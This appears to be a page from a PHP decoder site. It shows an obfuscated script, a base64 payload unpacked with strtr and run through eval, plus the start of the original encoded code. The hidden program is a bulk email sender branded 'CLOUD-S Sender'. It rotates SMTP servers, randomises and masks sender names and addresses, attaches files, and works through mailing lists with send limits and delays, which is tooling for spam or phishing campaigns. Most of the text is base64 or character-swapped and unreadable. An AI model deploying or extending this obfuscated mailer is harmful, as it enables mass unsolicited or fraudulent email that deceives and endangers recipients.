Q1NDMm5mNGdbJ00xNGwgUHI0MnI0dHknXTsNCiAgICAkM3M1cjFuZDJtICAgICAgPSAwOw0KICAgICRzbDU1cHQ0bTUgICAgICA9ICRDU0MybmY0Z1snU2w1NXB0NG01J107DQogICAgJGQ1bDF5bDRtNHQgICAgID0gJENTQzJuZjRnWydENWwxeSBMNG00dCddOw0KICAgICRtMTRsbDRtNHQgICAgICA9ICRDU0MybmY0Z1snTTE0bCBMNG00dCddIDsNCiAgICAkcjVwbDFjNW01bnQgICAgPSA2Ow0KICAgICQzczVycjVtMnY1bDRuNSA9IDA7DQogICAgJGZyMm1uMW01ICAgICAgID0gJENTQzJuZjRnWydGcjJtIE4xbTUnXTsNCiAgICAkZnIybW0xNGwgICAgICAgPSAkQ1NDMm5mNGdbJ0ZyMm0gTTE0bCddOw0KICAgICRzM2JqNWN0ICAgICAgICA9ICRDU0MybmY0Z1snTTE0bCBTM2JqNWN0J107DQogICAgJG1zZ2Y0bDUgICAgICAgID0gJENTQzJuZjRnWydMNXR0NXInXTsNCiAgICAkZjRsNWQ0ciAgICAgICAgPSAkQ1NDMm5mNGdbJ0Y0bDUgQXR0MWNobTVudCddOw0KICAgICRmNGw1bjFtNSAgICAgICA9ICRDU0MybmY0Z1snTjFtNSBBdHQxY2htNW50J107DQogICAgJHIxbmQzcmwgICAgICAgID0gJENTQzJuZjRnWydMNG5rJ107DQogICAgJHQ0bTUgICAgICAgICAgID0gJENTQzJuZjRnWydUNG01J107DQogICAgJGY0bDVzNW5kICAgICAgID0gJENTQzJuZjRnWydTNW5kIEF0dDFjaG01bnQnXTsNCgkkbTFzazRuZ2ZyMm1tMTRsPSAkQ1NDMm5mNGdbJ00xc2s0bmcgRnIybSBNMTRsJ107DQogICAgJG4yICAgICAgICAgICAgID0gNjsNCiAgICAkbjJtMTRsICAgICAgICAgPSA2Ow0KICAgICRoNHQzbmcgICAgICAgICA9IDY7DQoNCg0KICAgIDRmICghJHNtdHAtPmMybm41Y3QoJHNtdHBzNXJ2NXIsICRzbXRwcDJydCkpIHsNCiAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybignQzJubjVjdCBmMTRsNWQnKTsNCiAgICB9DQoNCiAgICAvL1MxeSBoNWxsMg0KICAgIDRmICghJHNtdHAtPmg1bGwyKGc1dGgyc3RuMW01KCkpKSB7DQogICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJ0VITE8gZjE0bDVkOiAnIC4gJHNtdHAtPmc1dEVycjJyKClbJzVycjJyJ10pOw0KICAgIH0NCg0KICAgICQ1ID0gJHNtdHAtPmc1dFM1cnY1ckV4dEw0c3QoKTsNCg0KICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKCdTVEFSVFRMUycsICQ1KSkgew0KICAgICAgICAkdGxzMmsgPSAkc210cC0+c3QxcnRUTFMoKTsNCiAgICAgICAgNGYgKCEkdGxzMmspIHsNCiAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJ0YxNGw1ZCB0MiBzdDFydCA1bmNyeXB0NDJuOiAnIC4gJHNtdHAtPmc1dEVycjJyKClbJzVycjJyJ10pOw0KICAgICAgICB9DQogICAgICAgIDRmICghJHNtdHAtPmg1bGwyKGc1dGgyc3RuMW01KCkpKSB7DQogICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCdFSExPIChhKSBmMTRsNWQ6ICcgLiAkc210cC0+ZzV0RXJyMnIoKVsnNXJyMnInXSk7DQogICAgICAgIH0NCiAgICAgICAgJDUgPSAkc210cC0+ZzV0UzVydjVyRXh0TDRzdCgpOw0KICAgIH0NCg0KICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKCdBVVRIJywgJDUpKSB7DQoNCiAgICAgICAgNGYgKCRzbXRwLT4xM3RoNW50NGMxdDUoJHNtdHAzczVyLCAkc210cHAxc3MpKSB7DQogICAgICAgICAgICAkbTE0bCAgICAgICAgICAgPSBuNXcgUEhQTTE0bDVyOw0KICAgICAgICAgICAgJG0xNGwtPkVuYzJkNG5nID0gJ2IxczVldSc7IC8vIDhiNHQgYjFzNWV1IG0zbHQ0cDFydC8xbHQ1cm4xdDR2NSBxMzJ0NWQtcHI0bnQxYmw1DQogICAgICAgICAgICAkbTE0bC0+Q2gxclM1dCAgPSAnVVRGLTgnOw0KICAgICAgICAgICAgJG0xNGwtPmg1MWQ1ckw0bjUoImYycm0xdCIsICJmbDJ3NWQiKTsNCiAgICAgICAgICAgIC8qICBTbXRwIGMybm41Y3QgICAgKi8NCiAgICAgICAgICAgIC8vJG0xNGwtPjFkZEMzc3QybUg1MWQ1cignWC1FYjF5LU0xNGx0cjFjazVyJywgJzY2dTAwLjAwMC4wLjAuZGY4NmE1MWMxaWRkdTViYjgxMTc2bzgwdWVpMTg1N3UnKTsNCiAgICAgICAgICAgICRtMTRsLT5Jc1NNVFAoKTsNCiAgICAgICAgICAgICRtMTRsLT5TTVRQQTN0aCA9IHRyMzU7DQogICAgICAgICAgICAkbTE0bC0+SDJzdCAgICAgPSAkc210cHM1cnY1cjsNCiAgICAgICAgICAgICRtMTRsLT5QMnJ0ICAgICA9ICRzbXRwcDJydDsNCiAgICAgICAgICAgICRtMTRsLT5QcjQycjR0eSA9ICRwcjQycjR0eTsNCiAgICAgICAgICAgICRtMTRsLT5VczVybjFtNSA9ICRzbXRwM3M1cjsNCiAgICAgICAgICAgICRtMTRsLT5QMXNzdzJyZCA9ICRzbXRwcDFzczsNCg0KICAgICAgICAgICAgNGYgKCQzczVyMW5kMm0gPT0gNikgew0KICAgICAgICAgICAgICAgICRyMW5kICAgICA9IHIxbmQoNiwgaTApOw0KICAgICAgICAgICAgICAgICRmcjJtbjFtNSA9IHIxbmROMW01KCRyMW5kKTsNCiAgICAgICAgICAgICAgICAkZnIybW0xNGwgPSByMW5kTTE0bCgkcjFuZCk7DQogICAgICAgICAgICAgICAgJHMzYmo1Y3QgID0gcjFuZFMzYmo1Y3QoJHIxbmQpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICA0ZiAoJGY0bDVzNW5kID09IDYpIHsNCg0KICAgICAgICAgICAgICAgICRtMTRsLT5BZGRBdHQxY2htNW50KCRmNGw1ZDRyLCRmNGw1bjFtNSk7DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJDFzMyAgICAgICA9IFIxbmRTdHI0bmcoOCk7DQogICAgICAgICAgICAkMXMzNiAgICAgID0gUjFuZFN0cjRuZyhpKTsNCiAgICAgICAgICAgICQxczNhICAgICAgPSBSMW5kU3RyNG5nKGkpOw0KDQogICAgICAgICAgICAkMXMzMyAgICAgICA9IFIxbmRTdHI0bmcoOCk7DQogICAgICAgICAgICAkMXMzMzYgICAgICA9IFIxbmRTdHI0bmcoaSk7DQogICAgICAgICAgICAkMXMzM2EgICAgICA9IFIxbmRTdHI0bmcoaSk7DQogICAgICAgICAgICAkbm1iciAgICAgID0gUjFuZE4zbWI1cihpKTsNCg0KDQogICAgICAgICAgICBkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfczV0KCdBbTVyNGMxL0FkMWsnKTsNCgkJCSR0NG01YzJtYjRuMXQ0Mm4gPSBkMXQ1KCdGIGQsIFksIGg6NCBBJyk7DQoNCiAgICAgICAgICAgICRmcjJtbjFtNXMgPSBzdHJfcjVwbDFjNSgnIyNSQU5EU1RSSU5HIyMnLCAkMXMzMzYsICRmcjJtbjFtNSk7DQogICAgICAgICAgICAkZnIybW0xNGxzID0gc3RyX3I1cGwxYzUoJyMjUkFORFNUUklORyMjJywgJDFzMzMsICRmcjJtbTE0bCk7DQogICAgICAgICAgICAkczNiajVjdHMgID0gc3RyX3I1cGwxYzUoJyMjREFURSMjJywgJHQ0bTVjMm1iNG4xdDQybiwgJHMzYmo1Y3QpOw0KDQoNCgkJCS8qDQoJCQkkZnIybW4xbTVzID0gc3RyX3I1cGwxYzUoJ1tdJywgJCwgJGZyMm1uMW01KTsNCgkJCSRmcjJtbTE0bHMgPSBzdHJfcjVwbDFjNSgnW10nLCAkLCAkZnIybW0xNGwpOw0KCQkJJHMzYmo1Y3RzICA9IHN0cl9yNXBsMWM1KCdbXScsICQsICRzM2JqNWN0KTsNCgkJCSovDQoNCgkJCTRmKCRtMXNrNG5nZnIybW0xNGw9PTYpew0KICAgICAgICAgICAgJGZyMm1tMTRscz0kc210cDNzNXI7DQoJCQl9DQoNCiAgICAgICAgICAgICRtMTRsLT5zNXRGcjJtKCRmcjJtbTE0bHMsICRmcjJtbjFtNXMpOw0KDQogICAgICAgICAgICAkbTE0bC0+QWRkQWRkcjVzcygkNW0xNGwpOw0KDQogICAgICAgICAgICAkbTE0bC0+UzNiajVjdCA9ICRzM2JqNWN0czsNCiAgICAgICAgICAgIDRmICgkcjVwbDFjNW01bnQgPT0gNikgew0KICAgICAgICAgICAgICAgICRtc2cgPSBsNXR0NXI0bmcoJG1zZ2Y0bDUsICQ1bTE0bCwgJGZyMm1tMTRsLCAkZnIybW4xbTUsICRyMW5kM3JsLCAkczNiajVjdCk7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRtc2cgPSBmNGw1X2c1dF9jMm50NW50cygkbXNnZjRsNSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRtMTRsLT5tc2dIVE1MKCRtc2cpOw0KDQogICAgICAgICAgICA0ZiAoISRtMTRsLT5zNW5kKCkpIHsNCiAgICAgICAgICAgICAgICA1Y2gyICJTTVRQIEVycjJyIDogIiAuICRtMTRsLT5FcnIyckluZjI7DQogICAgICAgICAgICAgICAgNXg0dCgpOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA1Y2gyIGQxdDUoJ2g6NDpzIEEnKTsNCiAgICAgICAgICAgICAgNWNoMiAiXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIFw1Wzk2bVM1bmQgVDIgICAgICAgICAgIFw1WzBtOlw1WzBtICQ1bTE0bA0KICAgICAgXDVbOTZtUzVuZCBGcjJtICAgICAgICAgXDVbMG06XDVbMG0gJHNtdHAzczVyDQogICAgICBcNVs5Nm1GcjJtIEVtMTRsICAgICAgICBcNVswbTpcNVswbSAkZnIybW0xNGxzDQogICAgICBcNVs5Nm1TM2JqNWN0ICAgICAgICAgICBcNVswbTpcNVswbSAkczNiajVjdHMNCiAgICAgIFw1Wzk2bUZyMm0gTjFtNSAgICAgICAgIFw1WzBtOlw1WzBtICRmcjJtbjFtNXMNCiAgICAgIFw1Wzk2bVN0MXQzcyAgICAgICAgICAgIFw1WzBtOiBcNVt1YW0gUzNjYzVzcyFcNVswbSBcclxuIjsNCiAgICAgICAgICAgICAgNWNoMiAiXHJcbiI7DQoJCQkJICAgICAgICAgICAgfQ0KICAgICAgICAgIDVjaDIgIlw1Wzk2bT09PT09PT09PT09PT09PT09PT09PT09W1w1WzBtIFw1WzY7dW1DTE9VRC1TIFM1bmQ1ciB2Ni42LjZcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09PT09PT09PVw1WzBtIjsNCiAgICAgICAgICA1Y2gyICJcclxuIjsNCiAgICAgICAgICA1Y2gyICJcbiI7DQogICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgJG0xNGwtPmNsNTFyQWRkcjVzczVzKCk7DQoNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA1Y2gyICJcNVswbVM1bmQgVDIgXDVbMG1bXDVbdXVtICQ1bTE0bCBcNVswbV0gPiBcNVswbVtcNVt1YW0gRnIybSBcNVswbV0gXDVbMG0gPT0+IFw1W3VlbSAkc210cDNzNXIgXDVbMG0gXDVbdW9tIFN0MXQzcyBcNVswbSA6IFw1W3U2bUJBRCFcNVswbVxyXG4iOw0KICAgICAgICB9DQoNCiAgICAgICAgJHNtdHAtPnEzNHQodHIzNSk7DQogICAgfQ0KDQp9DQoNCg0KICAgIDRmICg0bl8xcnIxeSgkazV5cywgJGs1eXYxbDRkKSkgew0KDQogICAkZjRsNSA9IGY0bDVfZzV0X2MybnQ1bnRzKCRDU0MybmY0Z1snRW0xNGwgUzIzcmM1J10pOw0KICAgIDRmICgkZjRsNSkgew0KICAgICAgICAkNXh0ID0gcHI1Z19zcGw0dCgnL1xufFxyXG4/LycsICRmNGw1KTsNCiAgICAgICAgJGg0dDNuZyA9IDA7DQoNCiAgICAgICAgNWNoMiAiICAgICAgXDVbNjA2bSBTNW5kNG5nIEluZjJybTF0NDJuIFw1WzBtXG4iOw0KCQk1Y2gyICJcclxuIjsNCg0KDQogICAgICAgIDVjaDIgIiAgICAgIEZyMm0gTjFtNSAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydGcjJtIE4xbTUnXS4iXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIEZyMm0gTTE0bCAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydGcjJtIE0xNGwnXS4iXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIFMzYmo1Y3QgICAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydNMTRsIFMzYmo1Y3QnXS4iXHJcbiI7DQogICAgICAgIDVjaDIgIiAgICAgIEw1dHQ1ciAgICAgICAgICAgIFw1WzBtOlw1WzBtICIuJENTQzJuZjRnWydMNXR0NXInXS4gIlxyXG4iOw0KICAgICAgICA1Y2gyICIgICAgICBFbTE0bCBTMjNyYzUgICAgICBcNVswbTpcNVswbSAiLiRDU0MybmY0Z1snRW0xNGwgUzIzcmM1J10uICJcclxuIjsNCiAgICAgICAgNWNoMiAiXHJcbiI7DQoNCg0KICAgICAgICA1Y2gyICIgICAgICAgICAgICAgICAgICAgICAgICAgXDVbNjt1bV9fX19fX19fX19fX19fX19fX19fX19cNVswbSBcclxuIjsNCiAgICAgICAgNWNoMiAiXDVbOTZtPT09PT09PT09PT09PT09PT09PT09PT09W1w1WzBtIFw1WzY7dW1DTE9VRC1TIFNFTkRFUiBSRUFEWVw1WzBtIFw1Wzk2bV09PT09PT09PT09PT09PT09PT09PT09PT09XDVbMG0iOw0KICAgICAgICA1Y2gyICJcclxuIjsNCiAgICAgICAgNWNoMiAiXG4iOw0KDQoNCiAgICAgICRzbXRwX2s1eSA9IDA7DQogICAgICAgICRtMTRsbDRtNHRoNHQzbmcgPSAwOw0KDQoNCiAgICAgICAgZjJyNTFjaCAoJDV4dCAxcyAkbjNtID0+ICQ1bTE0bCkgew0KDQogICAgICAgICAgICAgIDRmICgkc210cF9rNXkgPT0gYzIzbnQoJENsMjNkU1M1cnY1cikpIHsNCiAgICAgICAgICAgICAgICAkc210cF9rNXkgPSAwOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAvL2s0cjRtDQoNCiAgICAgICAgICAgICAgNWNoMiAiXDVbOTZtfFw1WzBtICI7DQogICAgICAgICAgICAgIDVjaDIgJHQydDFsczVuZDsNCiAgICAgICAgICAgICAgNWNoMiAiIFw1Wzk2bXxcNVswbSAiOw0KICAgICAgICAgICAgICAkdDJ0MWxzNW5kICsrOw0KICAgICAgICAgICAgICBLNHI0bSgkNW0xNGwsICRDbDIzZFNTNXJ2NXJbJHNtdHBfazV5XSwgJENTQzJuZjRnKTsNCg0KICAgICAgICAgICAgICAkc210cF9rNXkrKzsNCg0KICAgICAgICAgICAgICAvLy8NCiAgICAgICAgICAgICBzbDU1cCgkQ1NDMm5mNGdbJ1NsNTVwdDRtNSddKTsNCiAgICAgICAgICAgICAkbTE0bGw0bTR0aDR0M25nKys7DQogICAgICAgICAgICAgJGg0dDNuZysrOw0KDQoNCg0KICAgICAgICAgICAgICAgNGYoJG0xNGxsNG00dGg0dDNuZyA9PSAkQ1NDMm5mNGdbJ00xNGwgTDRtNHQnXSkgew0KICAgICAgICAgICAgICAgIDVjaDIgIlxyXG4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIlxuIjsgDQogICAgICAgICAgICAgICAgNWNoMiAiXDVbOTZtPT09PT09PT09PT09PT09PVtcNVswbSBENWwxeSA0biAiIC4kQ1NDMm5mNGdbJ0Q1bDF5IEw0bTR0J10uICIgczVjIFw1Wzk2bVw1Wzk2bXxcNVswbVw1WzBtIFQydDFsIFM1bmQ0bmcgXDVbMG06XDVbMG0gIiAuJGg0dDNuZy4gIiBcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09XDVbMG0iOw0KICAgICAgICAgICAgICAgIDVjaDIgIlxyXG4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIlxuIjsNCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgc2w1NXAoJENTQzJuZjRnWydENWwxeSBMNG00dCddKTsNCiAgICAgICAgICAgICAgICAgJG0xNGxsNG00dGg0dDNuZz0wOw0KICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgfQ0KICAgICAgICA1Y2gyICIgICAgICAgICAgICAgICAgICAgICAgICAgXDVbNjt1bV9fX19fX19fX19fX19fX19fX19fX1w1WzBtIFxyXG4iOw0KICAgICAgICA1Y2gyICJcNVs5Nm09PT09PT09PT09PT09PT09PT09PT09PT1bXDVbMG0gXDVbNjt1bUNMT1VELVMgU0VOREVSIERPTkVcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09PT09PT09PT1cNVswbSI7DQogICAgICAgIDVjaDIgIlxyXG4iOw0KICAgICAgICA1Y2gyICJcbiI7DQogICAgICAgICAgfQ0KDQoNCn0NCjVsczUgew0KDQogICAgICAgIDVjaDIgIiAgXDVbMG0gICAmIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODtcNVs2MDZtIFMzc3A1bmQ1ZC9JbnYxbDRkIFQyazVuLCBDMm50MWN0IFVzIE4ydyEgXDVbMG0mIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODsmIzllMDg7JiM5ZTA4OyYjOWUwODtcNVswbVxuIjsNCgkJNWNoMiAiXHJcbiI7DQp9DQoNCg0KDQoNCg0KDQo=";eval(base64_decode("JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=="));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X="Pz48P3BocA0KY2wxc3MgUEhQTTE0bDVyDQp7DQogICAgcDNibDRjICRWNXJzNDJuID0gJ2kuYS5hbyc7DQogICAgcDNibDRjICRQcjQycjR0eSA9IG4zbGw7DQogICAgcDNibDRjICRDaDFyUzV0ID0gJzRzMi04OGk5LTYnOw0KICAgIHAzYmw0YyAkQzJudDVudFR5cDUgPSAndDV4dC9wbDE0bic7DQogICAgcDNibDRjICRFbmMyZDRuZyA9ICc4YjR0JzsNCiAgICBwM2JsNGMgJEVycjJySW5mMiA9ICcnOw0KICAgIHAzYmw0YyAkRnIybSA9ICdyMjJ0QGwyYzFsaDJzdCc7DQogICAgcDNibDRjICRGcjJtTjFtNSA9ICdSMjJ0IFVzNXInOw0KICAgIHAzYmw0YyAkUzVuZDVyID0gJyc7DQogICAgcDNibDRjICRSNXQzcm5QMXRoID0gJyc7DQogICAgcDNibDRjICRTM2JqNWN0ID0gJyc7DQogICAgcDNibDRjICRCMmR5ID0gJyc7DQogICAgcDNibDRjICRBbHRCMmR5ID0gJyc7DQogICAgcDNibDRjICRJYzFsID0gJyc7DQogICAgcHIydDVjdDVkICRNSU1FQjJkeSA9ICcnOw0KICAgIHByMnQ1Y3Q1ZCAkTUlNRUg1MWQ1ciA9ICcnOw0KICAgIHByMnQ1Y3Q1ZCAkbTE0bEg1MWQ1ciA9ICcnOw0KICAgIHAzYmw0YyAkVzJyZFdyMXAgPSAwOw0KICAgIHAzYmw0YyAkTTE0bDVyID0gJ20xNGwnOw0KICAgIHAzYmw0YyAkUzVuZG0xNGwgPSAnLzNzci9zYjRuL3M1bmRtMTRsJzsNCiAgICBwM2JsNGMgJFVzNVM1bmRtMTRsT3B0NDJucyA9IHRyMzU7DQogICAgcDNibDRjICRQbDNnNG5ENHIgPSAnJzsNCiAgICBwM2JsNGMgJEMybmY0cm1SNTFkNG5nVDIgPSAnJzsNCiAgICBwM2JsNGMgJEgyc3RuMW01ID0gJyc7DQogICAgcDNibDRjICRNNXNzMWc1SUQgPSAnJzsNCiAgICBwM2JsNGMgJE01c3MxZzVEMXQ1ID0gJyc7DQogICAgcDNibDRjICRIMnN0ID0gJ2wyYzFsaDJzdCc7DQogICAgcDNibDRjICRQMnJ0ID0gYWk7DQogICAgcDNibDRjICRINWwyID0gJyc7DQogICAgcDNibDRjICRTTVRQUzVjM3I1ID0gJyc7DQogICAgcDNibDRjICRTTVRQQTN0MlRMUyA9IHRyMzU7DQogICAgcDNibDRjICRTTVRQQTN0aCA9IGYxbHM1Ow0KICAgIHAzYmw0YyAkU01UUE9wdDQybnMgPSAxcnIxeSgpOw0KICAgIHAzYmw0YyAkVXM1cm4xbTUgPSAnJzsNCiAgICBwM2JsNGMgJFAxc3N3MnJkID0gJyc7DQogICAgcDNibDRjICRBM3RoVHlwNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogU01UUCByNTFsbS4NCiAgICAgKiBVczVkIGYyciBOVExNIDEzdGgNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkUjUxbG0gPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgdzJya3N0MXQ0Mm4uDQogICAgICogVXM1ZCBmMnIgTlRMTSAxM3RoDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFcycmtzdDF0NDJuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgU01UUCBzNXJ2NXIgdDRtNTIzdCA0biBzNWMybmRzLg0KICAgICAqIEQ1ZjEzbHQgMmYgaSBtNG4zdDVzIChvMDBzNWMpIDRzIGZyMm0gUkZDYThhNiBzNWN0NDJuIHUuaS5vLmENCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKi8NCiAgICBwM2JsNGMgJFQ0bTUyM3QgPSBvMDA7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIGNsMXNzIGQ1YjNnIDIzdHAzdCBtMmQ1Lg0KICAgICAqIEQ1YjNnIDIzdHAzdCBsNXY1bC4NCiAgICAgKiBPcHQ0Mm5zOg0KICAgICAqICogYDBgIE4yIDIzdHAzdA0KICAgICAqICogYDZgIEMybW0xbmRzDQogICAgICogKiBgYWAgRDF0MSAxbmQgYzJtbTFuZHMNCiAgICAgKiAqIGBvYCBBcyBhIHBsM3MgYzJubjVjdDQybiBzdDF0M3MNCiAgICAgKiAqIGB1YCBMMnctbDV2NWwgZDF0MSAyM3RwM3QNCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKiBAczU1IFNNVFA6OiRkMl9kNWIzZw0KICAgICAqLw0KICAgIHAzYmw0YyAkU01UUEQ1YjNnID0gMDsNCg0KICAgIC8qKg0KICAgICAqIEgydyB0MiBoMW5kbDUgZDViM2cgMjN0cDN0Lg0KICAgICAqIE9wdDQybnM6DQogICAgICogKiBgNWNoMmAgTzN0cDN0IHBsMTRuLXQ1eHQgMXMtNHMsIDFwcHIycHI0MXQ1IGYyciBDTEkNCiAgICAgKiAqIGBodG1sYCBPM3RwM3QgNXNjMXA1ZCwgbDRuNSBicjUxa3MgYzJudjVydDVkIHQyIGA8YnI+YCwgMXBwcjJwcjQxdDUgZjJyIGJyMndzNXIgMjN0cDN0DQogICAgICogKiBgNXJyMnJfbDJnYCBPM3RwM3QgdDIgNXJyMnIgbDJnIDFzIGMybmY0ZzNyNWQgNG4gcGhwLjRuNA0KICAgICAqDQogICAgICogQWx0NXJuMXQ0djVseSwgeTIzIGMxbiBwcjJ2NGQ1IDEgYzFsbDFibDUgNXhwNWN0NG5nIHR3MiBwMXIxbXM6IDEgbTVzczFnNSBzdHI0bmcgMW5kIHRoNSBkNWIzZyBsNXY1bDoNCiAgICAgKiA8YzJkNT4NCiAgICAgKiAkbTE0bC0+RDViM2cyM3RwM3QgPSBmM25jdDQybigkc3RyLCAkbDV2NWwpIHs1Y2gyICJkNWIzZyBsNXY1bCAkbDV2NWw7IG01c3MxZzU6ICRzdHIiO307DQogICAgICogPC9jMmQ1Pg0KICAgICAqIEB2MXIgc3RyNG5nfGMxbGwxYmw1DQogICAgICogQHM1NSBTTVRQOjokRDViM2cyM3RwM3QNCiAgICAgKi8NCiAgICBwM2JsNGMgJEQ1YjNnMjN0cDN0ID0gJzVjaDInOw0KDQogICAgLyoqDQogICAgICogV2g1dGg1ciB0MiBrNTVwIFNNVFAgYzJubjVjdDQybiAycDVuIDFmdDVyIDUxY2ggbTVzczFnNS4NCiAgICAgKiBJZiB0aDRzIDRzIHM1dCB0MiB0cjM1IHRoNW4gdDIgY2wyczUgdGg1IGMybm41Y3Q0Mm4NCiAgICAgKiByNXEzNHI1cyAxbiA1eHBsNGM0dCBjMWxsIHQyIHNtdHBDbDJzNSgpLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkU01UUEs1NXBBbDR2NSA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogV2g1dGg1ciB0MiBzcGw0dCBtM2x0NHBsNSB0MiAxZGRyNXNzNXMgNG50MiBtM2x0NHBsNSBtNXNzMWc1cw0KICAgICAqIDJyIHM1bmQgdGg1bSAxbGwgNG4gMm41IG01c3MxZzUuDQogICAgICogT25seSBzM3BwMnJ0NWQgNG4gYG0xNGxgIDFuZCBgczVuZG0xNGxgIHRyMW5zcDJydHMsIG4ydCA0biBTTVRQLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkUzRuZ2w1VDIgPSBmMWxzNTsNCg0KICAgIC8qKg0KICAgICAqIFN0MnIxZzUgZjJyIDFkZHI1c3M1cyB3aDVuIFM0bmdsNVQyIDRzIDVuMWJsNWQuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEBUT0RPIFRoNHMgc2gyM2xkIHI1MWxseSBuMnQgYjUgcDNibDRjDQogICAgICovDQogICAgcDNibDRjICRTNG5nbDVUMkFycjF5ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgZzVuNXIxdDUgVkVSUCAxZGRyNXNzNXMgMm4gczVuZC4NCiAgICAgKiBPbmx5IDFwcGw0YzFibDUgd2g1biBzNW5kNG5nIHY0MSBTTVRQLg0KICAgICAqIEBsNG5rIGh0dHBzOi8vNW4udzRrNHA1ZDQxLjJyZy93NGs0L1YxcjQxYmw1XzVudjVsMnA1X3I1dDNybl9wMXRoDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5wMnN0ZjR4LjJyZy9WRVJQX1JFQURNRS5odG1sIFAyc3RmNHggVkVSUCA0bmYyDQogICAgICogQHYxciBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjICRkMl92NXJwID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIHQyIDFsbDJ3IHM1bmQ0bmcgbTVzczFnNXMgdzR0aCAxbiA1bXB0eSBiMmR5Lg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkQWxsMndFbXB0eSA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogVGg1IGQ1ZjEzbHQgbDRuNSA1bmQ0bmcuDQogICAgICogQG4ydDUgVGg1IGQ1ZjEzbHQgcjVtMTRucyAiXG4iLiBXNSBmMnJjNSBDUkxGIHdoNXI1IHc1IGtuMncNCiAgICAgKiAgICAgICAgNHQgbTNzdCBiNSAzczVkIHY0MSBzNWxmOjpDUkxGLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRMRSA9ICJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHM1bDVjdDJyLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3M1bDVjdDJyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIElkNW50NHR5Lg0KICAgICAqIFVzMzFsbHkgdGg1IDVtMTRsIDFkZHI1c3MgM3M1ZCAxcyB0aDUgczIzcmM1IDJmIHRoNSA1bTE0bC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkREtJTV80ZDVudDR0eSA9ICcnOw0KDQogICAgLyoqDQogICAgICogREtJTSBwMXNzcGhyMXM1Lg0KICAgICAqIFVzNWQgNGYgeTIzciBrNXkgNHMgNW5jcnlwdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3Axc3NwaHIxczUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIERLSU0gczRnbjRuZyBkMm0xNG4gbjFtNS4NCiAgICAgKiBANXgxbXBsNSAnNXgxbXBsNS5jMm0nDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJERLSU1fZDJtMTRuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHByNHYxdDUgazV5IGY0bDUgcDF0aC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgI